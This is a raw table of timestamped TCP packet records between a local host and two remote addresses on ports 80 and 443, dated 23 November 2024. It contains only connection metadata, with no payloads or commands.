Nov 23, 2024 03:21:11.012355089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.012399912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.012463093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.012509108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.014106035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.014153004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.014215946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.014259100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.015921116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.015980005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.015997887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.016037941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.017642021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.017692089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.017756939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.017800093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.019422054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.019470930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.019536018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.019577980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.021184921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.021230936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.021291971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.021336079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.022943020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.022989988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.023029089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.023072004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.024713039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.024848938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.024899960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.026519060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.026587009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.026604891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.026648045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.028233051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.028278112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.028359890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.028403997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.030004025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.030049086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.030128002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.030172110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.031898022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.031945944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.032012939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.032056093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.033565044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.033610106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.033673048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.033713102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.035300970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.035362005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.035401106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.035444975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.037117958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.037203074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.037209988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.037245035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.038841963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.038888931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.039017916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.039058924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.040621042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.040667057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.040731907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.040774107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.042387009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.042433023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.042494059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.042534113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.044167042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.044214010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.044253111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.044292927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.045926094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.045969963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.046081066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.046122074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.047821999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.047880888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.047884941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.047930956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.049452066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.049494982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.049568892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.049608946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.051239014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.051285982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.051322937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.051363945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.053009033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.053061008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.053116083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.053160906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.054760933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.054810047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.054852962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.054893017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.056524992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.056577921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.056617975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.056663036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.058286905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.058346987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.136555910 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.137094975 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.137140989 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.137552977 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.137567043 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.166307926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.166373014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.166450977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.167020082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.167162895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.167232037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.168262959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.168314934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.168355942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.169614077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.169661045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.169723034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.170599937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.170906067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.171022892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.171068907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.172262907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.172354937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.172422886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.173547983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.173608065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.173650026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.174602985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.174827099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.174870014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.174942970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.174981117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.176139116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.176189899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.176254988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.177419901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.177465916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.177503109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.178601980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.178639889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.178770065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.178811073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.179903030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.179949999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.180026054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.180064917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.181147099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.181193113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.181247950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.181291103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.182414055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.182460070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.182559013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.182605982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.183666945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.183712006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.183749914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.183795929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.184905052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.184951067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.185009003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.185051918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.186140060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.186186075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.186243057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.186285973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.187403917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.187465906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.187503099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.187597990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.188632965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.188677073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.188730001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.188774109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.189893007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.189939022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.190010071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.190052986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.191143990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.191188097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.191265106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.191303968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.192394972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.192440987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.192528963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.192570925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.193635941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.193681002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.193757057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.193799973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.194891930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.194940090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.194982052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.195025921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.196135998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.196182966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.196269989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.196314096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.197413921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.197477102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.197518110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.197563887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.198685884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.198731899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.198771000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.198815107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.199881077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.199927092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.199987888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.200030088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.201134920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.201190948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.201246977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.201292992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.202387094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.202431917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.202495098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.202538013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.203636885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.203696012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.203732967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.203778028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.204894066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.204941034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.205014944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.205059052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.206140041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.206185102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.206222057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.206264019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.207431078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.207492113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.207499027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.207540989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.208638906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.208683014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.208748102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.208791971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.209892035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.209933996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.209971905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.210021973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.211128950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.211170912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.211252928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.211297035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.212392092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.212435961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.212512970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.212559938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.213624954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.213666916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.213737965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.213778973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.214893103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.214937925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.214973927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.215015888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.216140032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.216187000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.216243029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.216281891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.217427015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.217473030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.217524052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.217566967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.218655109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.218698978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.218761921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.218806028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.219878912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.219919920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.219995975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.220047951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.221120119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.221164942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.221198082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.221240044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.222367048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.222415924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.222498894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.222539902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.223638058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.223681927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.223720074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.223761082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.224884987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.224931955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.225027084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.225069046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.226129055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.226171017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.226332903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.226375103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.227382898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.227426052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.227488995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.227535009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.228635073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.228678942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.228748083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.228799105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.229866028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.229912996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.229979992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.230021954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.231125116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.231168032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.231194019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.231236935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.232336998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.232386112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.378339052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.378350019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.378401995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.378802061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.378848076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.378853083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.378897905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.379944086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.379997969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.380043983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.380089045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.381109953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.381150961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.381287098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.381330013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.382236958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.382282972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.382328033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.382364035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.383366108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.383409977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.383464098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.383506060 CET	49760	80	192.168.2.4	31.41.244.11
